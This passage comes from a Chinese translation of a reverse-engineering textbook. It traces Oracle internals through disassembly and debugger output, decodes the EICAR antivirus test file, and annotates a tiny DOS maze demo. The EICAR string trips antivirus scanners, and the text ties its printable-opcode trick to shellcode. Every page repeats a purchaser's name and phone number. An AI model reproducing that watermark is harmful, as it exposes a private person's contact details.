另外,kqf.o 文件里还记录了类似的数据表名称。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 81 章 Oracle RDBMS 801 指令清单 81.7 kqf.o .rodata:0808C360 kqvt_c_0 kqftap_param <4, offset _2__STRING_19_0, 917h, 0, 0, 0, 4, 0, 0> .rodata:0808C360 ; DATA XREF: .rodata:08042680 .rodata:0808C360 ; "ADDR" .rodata:0808C384 kqftap_param <4, offset _2__STRING_20_0, 0B02h, 0, 0, 0, 4, 0, 0>;"INDX" .rodata:0808C3A8 kqftap_param <7, offset _2__STRING_21_0, 0B02h, 0, 0, 0, 4, 0, 0>;"INST_ID" .rodata:0808C3CC kqftap_param <6, offset _2__STRING_5017_0, 601h, 0, 0, 0, 50h, 0, 0> ; "BANNER" .rodata:0808C3F0 kqftap_param <0, offset _2__STRING_0_0, 0, 0, 0, 0, 0, 0, 0> 这些信息可以解释 X$VERSION 表中的所有字段。在 kqftap 表中,唯一一个引用这个表的指令如下所示。 指令清单 81.8 kqf.o .rodata:08042680 kqftap_element <0, offset kqvt_c_0, offset kqvrow, 0> ; element 0x1f6 值得关注的是,这个元素是表中第 502 个(0x1f6)元素。它就像 kqftab 表中指向 X$VERSION 字符串 的指针一般。数据表 kqftap 和 kqftab 之间的关系,很可能像 kqfvip 和 kqfviw 之间的关系那样是某种互补 关系。我们还在其中找到了指向 kqvrow() 函数的函数指针。我们最终挖掘到了有价值的信息! 笔者把上述各表的有关信息也添加到了自制的oracle系统表查询工具—oracle_tables里 ① ① http://yurichev.com/oracle_tables.html。 。用它检索 X$VERSION后,可得如下所示的各项信息。 指令清单 81.9 Result of oracle tables kqftab_element.name: [X$VERSION] ?: [kqvt] 0x4 0x4 0x4 0xc 0xffffc075 0x3 kqftap_param.name=[ADDR] ?: 0x917 0x0 0x0 0x0 0x4 0x0 0x0 kqftap_param.name=[INDX] ?: 0xb02 0x0 0x0 0x0 0x4 0x0 0x0 kqftap_param.name=[INST_ID] ?: 0xb02 0x0 0x0 0x0 0x4 0x0 0x0 kqftap_param.name=[BANNER] ?: 0x601 0x0 0x0 0x0 0x50 0x0 0x0 kqftap_element.fn1=kqvrow kqftap_element.fn2=NULL 借助笔者自创的 tracer 程序,我们不难发现:在查询 X$VERSION 表时,这个函数被连续调用了 6 次 (由 qerfxFetch() 函数)。 为了查看具体执行了哪些指令,我们以 cc 模式运行 tracer 程序: tracer -a:oracle.exe bpf=oracle.exe!_kqvrow,trace:cc _kqvrow_ proc near var_7C = byte ptr -7Ch var_18 = dword ptr -18h var_14 = dword ptr -14h Dest = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h ; FUNCTION CHUNK AT .text1:056C11A0 SIZE 00000049 BYTES 异步社区会员 dearfuture(15918834820) 专享 尊重版权 802 逆向工程权威指南(下册) push ebp mov ebp, esp sub esp, 7Ch mov eax, [ebp+arg_14] ; [EBP+1Ch]=1 mov ecx, TlsIndex ; [69AEB08h]=0 mov edx, large fs:2Ch mov edx, [edx+ecx*4] ; [EDX+ECX*4]=0xc98c938 cmp eax, 2 ; EAX=1 mov eax, [ebp+arg_8] ; [EBP+10h]=0xcdfe554 jz loc_2CE1288 mov ecx, [eax] ; [EAX]=0..5 mov [ebp+var_4], edi ; EDI=0xc98c938 loc_2CE10F6: ; CODE XREF: _kqvrow_+10A ; _kqvrow_+1A9 cmp ecx, 5 ; ECX=0..5 ja loc_56C11C7 mov edi, [ebp+arg_18] ; [EBP+20h]=0 mov [ebp+var_14], edx ; EDX=0xc98c938 mov [ebp+var_8], ebx ; EBX=0 mov ebx, eax ; EAX=0xcdfe554 mov [ebp+var_C], esi ; ESI=0xcdfe248 loc_2CE110D: ; CODE XREF: _kqvrow_+29E00E6 mov edx, ds:off_628B09C[ecx*4] ; [ECX*4+628B09Ch]= 0x2ce1116, 0x2ce11ac, 0x2ce11db , 0x2ce11f6, 0x2ce1236, 0x2ce127a jmp edx ; EDX=0x2ce1116, 0x2ce11ac, 0x2ce11db, 0x2ce11f6, 0x2ce1236, 0x2ce127a loc_2CE1116: ; DATA XREF: .rdata:off_628B09C push offset aXKqvvsnBuffer ; "x$kqvvsn buffer" mov ecx, [ebp+arg_C] ; [EBP+14h]=0x8a172b4 xor edx, edx mov esi, [ebp+var_14] ; [EBP-14h]=0xc98c938 push edx ; EDX=0 push edx ; EDX=0 push 50h push ecx ; ECX=0x8a172b4 push dword ptr [esi+10494h] ;[ESI+10494h]=0xc98cd58 call _kghalf ; tracing nested maximum level (1) reached, skipping this CALL mov esi, ds:__imp__vsnnum ; [59771A8h]=0x61bc49e0 mov [ebp+Dest], eax ; EAX=0xce2ffb0 mov [ebx+8], eax ; EAX=0xce2ffb0 mov [ebx+4], eax ; EAX=0xce2ffb0 mov edi, [esi] ; [ESI]=0xb200100 mov esi, ds:__imp__vsnstr ; [597D6D4h]=0x65852148, "- Production" push esi ; ESI=0x65852148, "- Production" mov ebx, edi ; EDI=0xb200100 shr ebx, 18h ; EBX=0xb200100 mov ecx, edi ; EDI=0xb200100 shr ecx, 14h ; ECX=0xb200100 and ecx, 0Fh ; ECX=0xb2 mov edx, edi ; EDI=0xb200100 shr edx, 0Ch ; EDX=0xb200100 movzx edx, dl ; DL=0 mov eax, edi ; EDI=0xb200100 shr eax, 8 ; EAX=0xb200100 and eax, 0Fh ; EAX=0xb2001 and edi, 0FFh ; EDI=0xb200100 push edi ; EDI=0 mov edi, [ebp+arg_18] ; [EBP+20h]=0 push eax ; EAX=1 mov eax, ds:__imp__vsnban ; [597D6D8h]=0x65852100, "Oracle Database 11g 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 81 章 Oracle RDBMS 803 Enterprise Edition Release %d.%d.%d.%d.%d %s" push edx ; EDX=0 push ecx ; ECX=2 push ebx ; EBX=0xb mov ebx, [ebp+arg_8] ; [EBP+10h]=0xcdfe554 push eax ; EAX=0x65852100, "Oracle Database 11g Enterprise Edition Release %d.%d.%d.%d.%d %s" mov eax, [ebp+Dest] ; [EBP-10h]=0xce2ffb0 push eax ; EAX=0xce2ffb0 call ds:__imp__sprintf ; op1=MSVCR80.dll!sprintf tracing nested maximum level (1) reached, skipping this CALL add esp, 38h mov dword ptr [ebx], 1 loc_2CE1192: ; CODE XREF: _kqvrow_+FB ; _kqvrow_+128 ... test edi, edi ; EDI=0 jnz __VInfreq__kqvrow mov esi, [ebp+var_C] ; [EBP-0Ch]=0xcdfe248 mov edi, [ebp+var_4] ; [EBP-4]=0xc98c938 mov eax, ebx ; EBX=0xcdfe554 mov ebx, [ebp+var_8] ; [EBP-8]=0 lea eax, [eax+4] ; [EAX+4]=0xce2ffb0, "NLSRTL Version 11.2.0.1.0 – Production ", "Oracle Database 11g Enterprise Edition Release 11.2.0.1.0 - Production", "PL/SQL Release 11.2.0.1.0 - Production", "TNS for 32-bit Windows: Version 11.2.0.1.0 - Production" loc_2CE11A8: ; CODE XREF: _kqvrow_+29E00F6 mov esp, ebp pop ebp retn ; EAX=0xcdfe558 loc_2CE11AC: ; DATA XREF: .rdata:0628B0A0 mov edx, [ebx+8] ; [EBX+8]=0xce2ffb0, "Oracle Database 11g Enterprise Edition Release 11.2.0.1.0- Production" mov dword ptr [ebx], 2 mov [ebx+4], edx ; EDX=0xce2ffb0, "Oracle Database 11g Enterprise Edition Release 11.2.0.1.0 - Production" push edx ; EDX=0xce2ffb0, "Oracle Database 11g Enterprise Edition Release 11.2.0.1.0 - Production" call _kkxvsn ; tracing nested maximum level (1) reached, skipping this CALL pop ecx mov edx, [ebx+4] ; [EBX+4]=0xce2ffb0, "PL/SQL Release 11.2.0.1.0 - Production" movzx ecx, byte ptr [edx] ; [EDX]=0x50 test ecx, ecx ; ECX=0x50 jnz short loc_2CE1192 mov edx, [ebp+var_14] mov esi, [ebp+var_C] mov eax, ebx mov ebx, [ebp+var_8] mov ecx, [eax] jmp loc_2CE10F6 loc_2CE11DB: ; DATA XREF: .rdata:0628B0A4 push 0 push 50h mov edx, [ebx+8] ; [EBX+8]=0xce2ffb0, "PL/SQL Release 11.2.0.1.0 - Production" mov [ebx+4], edx ; EDX=0xce2ffb0,"PL/SQL Release 11.2.0.1.0 - Production" push edx ; EDX=0xce2ffb0, "PL/SQL Release 11.2.0.1.0 - Production" call _lmxver ; tracing nested maximum level (1) reached, skipping this CALL add esp, 0Ch mov dword ptr [ebx], 3 jmp short loc_2CE1192 异步社区会员 dearfuture(15918834820) 专享 尊重版权 804 逆向工程权威指南(下册) loc_2CE11F6: ; DATA XREF: .rdata:0628B0A8 mov edx, [ebx+8] ; [EBX+8]=0xce2ffb0 mov [ebp+var_18], 50h mov [ebx+4], edx ; EDX=0xce2ffb0 push 0 call _npinli ; tracing nested maximum level (1)reached, skipping this CALL pop ecx test eax, eax ; EAX=0 jnz loc_56C11DA mov ecx, [ebp+var_14] ; [EBP-14h]=0xc98c938 lea edx, [ebp+var_18] ; [EBP-18h]=0x50 push edx ; EDX=0xd76c93c push dword ptr [ebx+8] ; [EBX+8]=0xce2ffb0 push dword ptr [ecx+13278h] ; [ECX+13278h]=0xacce190 call _nrtnsvrs ; tracing nested maximum level (1) reached, skipping this CALL add esp, 0Ch loc_2CE122B: ; CODE XREF: _kqvrow_+29E0118 mov dword ptr [ebx], 4 jmp loc_2CE1192 loc_2CE1236: ; DATA XREF: .rdata:0628B0AC lea edx, [ebp+var_7C] ; [EBP-7Ch]=1 push edx ; EDX=0xd76c8d8 push 0 mov esi, [ebx+8] ; [EBX+8]=0xce2ffb0, "TNS for 32-bit Windows: Version 11.2.0.1.0 - Production" mov [ebx+4], esi ; ESI=0xce2ffb0, "TNS for 32-bit Windows: Version 11.2.0.1.0 - Production" mov ecx, 50h mov [ebp+var_18], ecx ; ECX=0x50 push ecx ; ECX=0x50 push esi ; ESI=0xce2ffb0, "TNS for 32-bit Windows: Version 11.2.0.1.0 - Production" call _lxvers ; tracing nested maximum level (1) reached, skipping this CALL add esp, 10h mov edx, [ebp+var_18 ; [EBP-18h]=0x50 mov dword ptr [ebx], 5 test edx, edx ; EDX=0x50 jnz loc_2CE1192 mov edx, [ebp+var_14] mov esi, [ebp+var_C] mov eax, ebx mov ebx, [ebp+var_8] mov ecx, 5 jmp loc_2CE10F6 loc_2CE127A: ; DATA XREF: .rdata:0628B0B0 mov edx, [ebp+var_14] ; [EBP-14h]=0xc98c938 mov esi, [ebp+var_C] ; [EBP-0Ch]=0xcdfe248 mov edi, [ebp+var_4] ; [EBP-4]=0xc98c938 mov eax, ebx ; EBX=0xcdfe554 mov ebx, [ebp+var_8] ; [EBP-8]=0 loc_2CE1288: ; CODE XREF: _kqvrow_+1F mov eax, [eax+8] ; [EAX+8]=0xce2ffb0, "NLSRTL Version 11.2.0.1.0 - Production" test eax, eax ; EAX=0xce2ffb0, "NLSRTL Version 11.2.0.1.0 - Production" jz short loc_2CE12A7 push offset aXKqvvsnBuffer ; "x$kqvvsn buffer" push eax ; EAX=0xce2ffb0, "NLSRTL Version 11.2.0.1.0 - Production" mov eax, [ebp+arg_C] ; [EBP+14h]=0x8a172b4 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 81 章 Oracle RDBMS 805 push eax ; EAX=0x8a172b4 push dword ptr [edx+10494h] ; [EDX+10494h]=0xc98cd58 call _kghfrf ; tracing nested maximum level (1) reached, skipping this CALL add esp, 10h loc_2CE12A7: ; CODE XREF: _kqvrow_+1C1 xor eax, eax mov esp, ebp pop ebp retn ; EAX=0 _kqvrow_ endp 不难看出,该函数从外部获取行号信息,然后按照下述顺序组装、返回字符串。 String 1 String 2 String 3 String 4 String 5 Using vsnstr, vsnnum, vsnban global variables. Calling sprintf(). Calling kkxvsn(). Calling lmxver(). Calling npinli(), nrtnsvrs(). Calling lxvers(). Oracle 按照上述次序依次调用相应函数,从而获取各个模块的版本信息。 81.2 X$KSMLRU 表 官方文件《Diagnosing and Resolving Error ORA-04031》 ① Oracle 能够记录内存池内发生的、强制释放其他对象的内存占用情况。负责记录这种情况的数据表 是固定表 x$ksmlru。它可用来诊断内存异常消耗的具体原因。 如果内存池里发生了大量对象周期性释放的情况,那么这种问题会增加数据库的响应时间。而且当 这些对象再次被加载到内存池时,这一现象还会增加库缓存(library cache)互锁的概率。 固定表 x$ksmlru 具有一个特性:只要出现了检索表的人为操作,那么这个表内的数据就会被立刻清 空。此外,该数据表只会存储内存占用最大的前几项记录。“查询后立刻清空”的设定,是为了凸显那些 先前并不那么耗费资源的内存分配情况。也就是说,每次检索所对应的时间段都是不同的。正因如此,数 据库用户应当妥善保管该表的查询结果。 特别提到了这个数据表: 换句话说,查询这个表不是问题,问题是查询后它会被立即清空。那么,清空表的具体原因是什么? 既然 kqftab 表和 kqftap 表含有 X$-表的全部信息,我们可以继续使用前文介绍的 oracle_tables 进行分析。 在 oracle_tables 的返回结果里,我们看到:在制备 X$KSMLRU 表的元素时,oracle 调用了 ksmlrs() 函数。 指令清单 81.10 Result of oracle tables kqftab_element.name: [X$KSMLRU] ?: [ksmlr] 0x4 0x64 0x11 0xc 0xffffc0bb 0x5 kqftap_param.name=[ADDR] ?: 0x917 0x0 0x0 0x0 0x4 0x0 0x0 kqftap_param.name=[INDX] ?: 0xb02 0x0 0x0 0x0 0x4 0x0 0x0 kqftap_param.name=[INST_ID] ?: 0xb02 0x0 0x0 0x0 0x4 0x0 0x0 kqftap_param.name=[KSMLRIDX] ?: 0xb02 0x0 0x0 0x0 0x4 0x0 0x0 kqftap_param.name=[KSMLRDUR] ?: 0xb02 0x0 0x0 0x0 0x4 0x4 0x0 kqftap_param.name=[KSMLRSHRPOOL] ?: 0xb02 0x0 0x0 0x0 0x4 0x8 0x0 kqftap_param.name=[KSMLRCOM] ?: 0x501 0x0 0x0 0x0 0x14 0xc 0x0 kqftap_param.name=[KSMLRSIZ] ?: 0x2 0x0 0x0 0x0 0x4 0x20 0x0 kqftap_param.name=[KSMLRNUM] ?: 0x2 0x0 0x0 0x0 0x4 0x24 0x0 kqftap_param.name=[KSMLRHON] ?: 0x501 0x0 0x0 0x0 0x20 0x28 0x0 kqftap_param.name=[KSMLROHV] ?: 0xb02 0x0 0x0 0x0 0x4 0x48 0x0 ① http://www.oralab.net/METANOTES/DIAGNOSING%20AND%20RESOLVING%20ORA-04031%20ERROR.htm。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 806 逆向工程权威指南(下册) kqftap_param.name=[KSMLRSES] ?: 0x17 0x0 0x0 0x0 0x4 0x4c 0x0 kqftap_param.name=[KSMLRADU] ?: 0x2 0x0 0x0 0x0 0x4 0x50 0x0 kqftap_param.name=[KSMLRNID] ?: 0x2 0x0 0x0 0x0 0x4 0x54 0x0 kqftap_param.name=[KSMLRNSD] ?: 0x2 0x0 0x0 0x0 0x4 0x58 0x0 kqftap_param.name=[KSMLRNCD] ?: 0x2 0x0 0x0 0x0 0x4 0x5c 0x0 kqftap_param.name=[KSMLRNED] ?: 0x2 0x0 0x0 0x0 0x4 0x60 0x0 kqftap_element.fn1=ksmlrs kqftap_element.fn2=NULL tracer 程序可以印证这个结果:每次查询 X$KSMLRU 表时,Oracle 都会调用这个函数。 另外,我们还看到 ksmsplu_sp() 函数和 ksmsplu_jp() 函数都引用了 ksmsplu() 函数。即,无论是执行 ksmsplu_sp() 函数、还是执行 ksmsplu_jp() 函数,最后都会调用 ksmsplu() 函数。在 ksmsplu() 结束之前,它 调用了 memset() 函数。 指令清单 81.11 ksm.o … .text:00434C50 loc_434C50: ; DATA XREF: .rdata:off_5E50EA8 .text:00434C50 mov edx, [ebp-4] .text:00434C53 mov [eax], esi .text:00434C55 mov esi, [edi] .text:00434C57 mov [eax+4], esi .text:00434C5A mov [edi], eax .text:00434C5C add edx, 1 .text:00434C5F mov [ebp-4], edx .text:00434C62 jnz loc_434B7D .text:00434C68 mov ecx, [ebp+14h] .text:00434C6B mov ebx, [ebp-10h] .text:00434C6E mov esi, [ebp-0Ch] .text:00434C71 mov edi, [ebp-8] .text:00434C74 lea eax, [ecx+8Ch] .text:00434C7A push 370h ; Size .text:00434C7F push 0 ; Val .text:00434C81 push eax ; Dst .text:00434C82 call __intel_fast_memset .text:00434C87 add esp, 0Ch .text:00434C8A mov esp, ebp .text:00434C8C pop ebp .text:00434C8D retn .text:00434C8D _ksmsplu endp 含有 memset(block,0,size)的构造函数通常用于清空内存区域。如果我们阻止它调用这个 memset() 函数, 那么将发生什么情况? 为此,我们在程序向 memset() 函数传递参数的 0x434C7A 处设置断点、令调试程序 tracer 在此刻将程 序计数器(PC,即 EIP)调整为 0x434C8A,从而使程序“跳过”清除内存的 memset() 函数。可以说,这 种“调试”相当于令程序在 0x434C7A 处无条件转移到 0x434C8A。相关的 tracer 指令如下: tracer -a:oracle.exe bpx=oracle.exe!0x00434C7A,set(eip,0x00434C8A) 请注意:上述地址仅对 Win32 版本的 Oracle RDBMS 11.2 有效。 经上述调试指令启动 Oracle 以后,无论查询 X$ KSMLRU 表多少次,这个表都不会被清空了。当然, 不要在投入实用的业务服务器上进行这种测试。 或许这种调试的用处不大,或许这种修改有悖实用性原则。不过,当我们要查找特定的指令时,我们 可以采用这样的调试步骤! 81.3 V$TIMER 表 固定视图 V$TIMER 算得上是更新最频繁的视图之一了。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 81 章 Oracle RDBMS 807 V$TIME 以百分之一秒为单位、记录实际运行时间。这个值以计时原点开始测算,因此具体数值与 操作系统相关。它会在 4 字节溢出时(大约历经 497 天后)循环,重新变为 0。 上述内容摘自官方文档。 ① ① http://docs.oracle.com/cd/B28359_01/server.111/b28320/dynviews_3104.htm。 比较有趣的是:Win32 版本的 Oracle 程序和 Linux 版本的程序,返回的时间戳竟然是不同的。我们能 否找到生成返回值的函数呢? 下述操作表明,时间信息最终取自 X$KSUTM 表: SQL> select * from V$FIXED_VIEW_DEFINITION where view_name='V$TIMER'; VIEW_NAME ------------------------------ VIEW_DEFINITION -------------------------------------------------------------------------------- V$TIMER select HSECS from GV$TIMER where inst_id = USERENV('Instance') SQL> select * from V$FIXED_VIEW_DEFINITION where view_name='GV$TIMER'; VIEW_NAME ------------------------------ VIEW_DEFINITION -------------------------------------------------------------------------------- GV$TIMER select inst_id,ksutmtim from x$ksutm 不过 kqftab/kqftap 表没有引用生成这项数值的函数。 指令清单 81.12 Result of oracle tables kqftab_element.name: [X$KSUTM] ?: [ksutm] 0x1 0x4 0x4 0x0 0xffffc09b 0x3 kqftap_param.name=[ADDR] ?: 0x10917 0x0 0x0 0x0 0x4 0x0 0x0 kqftap_param.name=[INDX] ?: 0x20b02 0x0 0x0 0x0 0x4 0x0 0x0 kqftap_param.name=[INST_ID] ?: 0xb02 0x0 0x0 0x0 0x4 0x0 0x0 kqftap_param.name=[KSUTMTIM] ?: 0x1302 0x0 0x0 0x0 0x4 0x0 0x1e kqftap_element.fn1=NULL kqftap_element.fn2=NULL 当我们搜索字符串 KSUTMTIM 时,我们看到了下述函数: kqfd_DRN_ksutm_c proc near ; DATA XREF: .rodata:0805B4E8 arg_0 = dword ptr 8 arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push [ebp+arg_C] push offset ksugtm push offset _2__STRING_1263_0 ; "KSUTMTIM" push [ebp+arg_8] push [ebp+arg_0] call kqfd_cfui_drain add esp, 14h mov esp, ebp pop ebp retn 异步社区会员 dearfuture(15918834820) 专享 尊重版权 808 逆向工程权威指南(下册) kqfd_DRN_ksutm_c endp 而数据表 kqfd_tab_registry_0 引用了 kqfd_DRN_ksutm_c() 函数: dd offset _2__STRING_62_0 ; "X$KSUTM" dd offset kqfd_OPN_ksutm_c dd offset kqfd_tabl_fetch dd 0 dd 0 dd offset kqfd_DRN_ksutm_c 打开 Linux x86 版本的这个文件,可看到如下所示的代码。 指令清单 81.13 ksu.o ksugtm proc near var_1C = byte ptr -1Ch arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 1Ch lea eax, [ebp+var_1C] push eax call slgcs pop ecx mov edx, [ebp+arg_4] mov [edx], eax mov eax, 4 mov esp, ebp pop ebp retn ksugtm endp 在 Win32 版本的程序里,相应文件的有关指令几乎相同。 这是我们寻找的函数吗?我们通过下述指令验证一下: tracer -a:oracle.exe bpf=oracle.exe!_ksugtm,args:2,dump_args:0x4 然后在 SQL*Plus 里执行以下指令: SQL> select * from V$TIMER; HSECS ---------- 27294929 SQL> select * from V$TIMER; HSECS ---------- 27295006 SQL> select * from V$TIMER; HSECS ---------- 27295167 指令清单 81.14 tracer output TID=2428|(0) oracle.exe!_ksugtm (0x0, 0xd76c5f0) (called from oracle.exe!__VInfreq__qerfxFetch +0xfad (0x56bb6d5)) Argument 2/2 0D76C5F0: 38 C9 "8. " TID=2428|(0) oracle.exe!_ksugtm () -> 0x4 (0x4) 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 81 章 Oracle RDBMS 809 Argument 2/2 difference 00000000: D1 7C A0 01 ".|.. " TID=2428|(0) oracle.exe!_ksugtm (0x0, 0xd76c5f0) (called from oracle.exe!__VInfreq__qerfxFetch +0xfad (0x56bb6d5)) Argument 2/2 0D76C5F0: 38 C9 "8. " TID=2428|(0) oracle.exe!_ksugtm () -> 0x4 (0x4) Argument 2/2 difference 00000000: 1E 7D A0 01 TID=2428|(0) oracle.exe!_ksugtm (0x0, 0xd76c5f0) (called from oracle.exe!__VInfreq__qerfxFetch +0xfad (0x56bb6d5)) Argument 2/2 0D76C5F0: 38 C9 "8. " TID=2428|(0) oracle.exe!_ksugtm () -> 0x4 (0x4) Argument 2/2 difference 00000000: BF 7D A0 01 ".}.. " 上述数据和我们在 SQL*Plus 看到的数据完全一样。它是函数的第二个参数。 然后我们再来分析 Linux x86 程序里的 slgcs() 函数: slgcs proc near var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push esi mov [ebp+var_4], ebx mov eax, [ebp+arg_0] call $+5 pop ebx nop ; PIC mode mov ebx, offset _GLOBAL_OFFSET_TABLE_ mov dword ptr [eax], 0 call sltrgatime64 ; PIC mode push 0 push 0Ah push edx push eax call __udivdi3 ; PIC mode mov ebx, [ebp+var_4] add esp, 10h mov esp, ebp pop ebp retn slgcs endp 这个函数调用了sltrgatime64(),然后把返回值除以 10。 ① ① 有关除法运算的有关细节,请参见本书第 41 章。 在 Win32 版本的程序里,这个函数则是: _slgcs proc near ; CODE XREF: _dbgefgHtElResetCount+15 ; _dbgerRunActions+1528 db 66h nop push ebp mov ebp, esp mov eax, [ebp+8] mov dword ptr [eax], 0 call ds:__imp__GetTickCount@0 ; GetTickCount() mov edx, eax mov eax, 0CCCCCCCDh 异步社区会员 dearfuture(15918834820) 专享 尊重版权 810 逆向工程权威指南(下册) mul edx shr edx, 3 mov eax, edx mov esp, ebp pop ebp retn _slgcs endp Win32 的结果就是GetTickCount() 函数返回值的十分之一。 ① ① 有关 GetTickCount() 函数,请参见 MSDN:https://msdn.microsoft.com/en-us/library/windows/desktop/ms724408(v=vs.85).aspx。 这就是 Oracle 在 Win32 下和 Linux x86 下返回不同结果的根本原因—它调用了完全不同的操作系统 函数。 “call kqfd_cfui_drain”里有个“drain”。这个关键字有“表中的某个列取自特定函数的返回值”的含义。 前面介绍过的 oracle_tables 工具能够处理 kqfd_tab_registry_0。因此,我们可以用它分析“列”的值与 特定函数之间的关联关系: [X$KSUTM] [kqfd_OPN_ksutm_c] [kqfd_tabl_fetch] [NULL] [NULL] [kqfd_DRN_ksutm_c] [X$KSUSGIF] [kqfd_OPN_ksusg_c] [kqfd_tabl_fetch] [NULL] [NULL] [kqfd_DRN_ksusg_c] 上述信息中的 OPN 代表“Open”和“DRN”。DRN 当然还是“drain”的意思。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 第 8822 章 章 汇 汇编 编指 指令 令与 与屏 屏显 显字 字符 符 82.1 EICAR 多数反病毒软件都用EICAR进行自检。EICAR是一个可以在MS-DOS平台上运行的应用程序。它仅在 屏幕上显示“EICAR-STANDARD-ANTIVIRUS-TEST-FILE!”这样一个字符串。 ① ① 请参见 https://en.wikipedia.org/wiki/EICAR_test_file。 EICAR 最重要的特点是:它的每个字节都是可以在屏幕上显示出来的 ASCII 字符串。我们在文本编译 器里粘贴下列字符串,即可生成 EICAR 文件: X5O!P%@AP[4\PZX54(P^)7CC]7]$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H* EICAR 文件的汇编指令如下: ; initial conditions: SP=0FFFEh, SS:[SP]=0 0100 58 pop ax ; AX=0, SP=0 0101 35 4F 21 xor ax, 214Fh ; AX = 214Fh and SP = 0 0104 50 push ax ; AX = 214Fh, SP = FFFEh and SS:[FFFE] = 214Fh 0105 25 40 41 and ax, 4140h ; AX = 140h, SP = FFFEh and SS:[FFFE] = 214Fh 0108 50 push ax ; AX = 140h, SP = FFFCh, SS:[FFFC] = 140h and SS:[FFFE] = 214Fh 0109 5B pop bx ; AX = 140h, BX = 140h, SP = FFFEh and SS:[FFFE] = 214Fh 010A 34 5C xor al, 5Ch ; AX = 11Ch, BX = 140h, SP = FFFEh and SS:[FFFE] = 214Fh 010C 50 push ax 010D 5A pop dx ; AX = 11Ch, BX = 140h, DX = 11Ch, SP = FFFEh and SS:[FFFE] = 214Fh 010E 58 pop ax ; AX = 214Fh, BX = 140h, DX = 11Ch and SP = 0 010F 35 34 28 xor ax, 2834h ; AX = 97Bh, BX = 140h, DX = 11Ch and SP = 0 0112 50 push ax 0113 5E pop si ; AX = 97Bh, BX = 140h, DX = 11Ch, SI = 97Bh and SP = 0 0114 29 37 sub [bx], si 0116 43 inc bx 0117 43 inc bx 0118 29 37 sub [bx], si 011A 7D 24 jge short near ptr word_10140 011C 45 49 43 ... db 'EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$' 0140 48 2B word_10140 dw 2B48h ; CD 21 (INT 21) will be here 0142 48 2A dw 2A48h ; CD 20 (INT 20) will be here 0144 0D db 0Dh 0145 0A db 0Ah 笔者在上述代码里追加了各种注释,以介绍执行指令后各寄存器和栈的状态。 本质上说,这个程序的关键指令(下文简称“核心指令”)只有: B4 09 MOV AH, 9 BA 1C 01 MOV DX, 11Ch 异步社区会员 dearfuture(15918834820) 专享 尊重版权 812 逆向工程权威指南(下册) CD 21 INT 21h CD 20 INT 20h INT 21 的第 9 号功能(AH 寄存器)的作用是显示字符串。系统中断从 DS:DX 获取字符串的指针,然 后把它输出在屏幕上。另外,这种字符串必须以“$”字符结尾。当今的操作系统显然继续兼容了这种指令。 不过这种指令属于 CP/M(Control Program for Microcomputers),来自比 MS-DOS 还要古老的磁盘操作系统。 由此可见,EICAR 的主要功能是:  向寄存器(AH 和 DX)传递预定值。  在内存中准备 INT 21 和 INT 20 的 opcode。  执行 INT 21 和 INT 20。 严格地讲,核心指令的 opcode 基本都不是屏显字符。EICAR 采用“拼凑”指令的方法,把核心指令 凑成了可存储在字符串里的屏显字符组合。这项“拼凑”技术还普遍应用于 shellcode。 有关“可用屏显字符表示的 opcode”,请参见本书附录 A.6.5。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 第 8833 章 章 实 实 例 例 演 演 示 示 编写 Demo 程序不仅要求编程人员具备熟练的数学技巧、卓越的计算机绘图水平,而且还非常考验他们 手写 x86 代码的基本功。 83.1 10PRINT CHR$(205.5+RND(1));:GOTO 10 本节介绍的程序都是 MS-DOS 环境下的.COM 程序。 在参考资料[a12]里,我们找到了一个非常简单的随机图案生成程序。虽然它的功能只是不停地在屏 幕上打印斜杠和反斜杠,但是这两种字符最终可构成一种几何图案,如图 83.1 所示。 图 83.1 一种随机几何图案 在 16 位的 x86 平台上,这种算法非常多。 83.1.1 Trixter 的 42 字节程序 Trixter在他的网站上 ① ① http://trixter.oldskool.org/2012/12/17/maze-generation-in-thirteen-bytes/。 公开了具备 42 字节大小的程序。笔者把它摘录出来,并标注上了自己的注释: 00000000: B001 mov al,1 ; set 40x25 video mode 00000002: CD10 int 010 00000004: 30FF xor bh,bh ; set video page for int 10h call 00000006: B9D007 mov cx,007D0 ; 2000 characters to output 00000009: 31C0 xor ax,ax 0000000B: 9C pushf ; push flags ; get random value from timer chip 0000000C: FA cli ; disable interrupts 0000000D: E643 out 043,al ; write 0 to port 43h ; read 16-bit value from port 40h 0000000F: E440 in al,040 00000011: 88C4 mov ah,al 异步社区会员 dearfuture(15918834820) 专享 尊重版权 814 逆向工程权威指南(下册) 00000013: E440 in al,040 00000015: 9D popf ; enable interrupts by restoring IF flag 00000016: 86C4 xchg ah,al ; here we have 16-bit pseudorandom value 00000018: D1E8 shr ax,1 0000001A: D1E8 shr ax,1 ; CF currently have second bit from the value 0000001C: B05C mov al,05C ;'\' ; if CF=1, skip the next instruction 0000001E: 7202 jc 000000022 ; if CF=0, reload AL register with another character 00000020: B02F mov al,02F ;'/' ; output character 00000022: B40E mov ah,00E 00000024: CD10 int 010 00000026: E2E1 loop 000000009 ; loop 2000 times 00000028: CD20 int 020 ; exit to DOS 实际上,上述程序里的伪随机数是 Intel 8253 计时器芯片(硬件)回传过来的时间信息。它选用了零 号计时器,而时钟决定这个计时器每秒递增 18.2 次。 向 0x43 端口发送零字节,相当于发送了“选定#0 号(通用)计数器”“计数器的输出持续可读”和“采 用二进制计数(返回值是二进制数字,而非BCD码)”这三条指令。 ① 83.1.2 笔者对 Trixter 算法的改进:27 字节 当程序执行 POPF 指令时,CPU 恢复 IF 标识的同时会恢复终端功能。 在使用 IN 指令读取数据时,返回值必须写到 AL 寄存器里,所以后面出现了数据交换指令 xchg。 这个程序并没有使用计时器查询确切时间,而是用它来生成伪随机数。因此,我们没有必要屏蔽系统 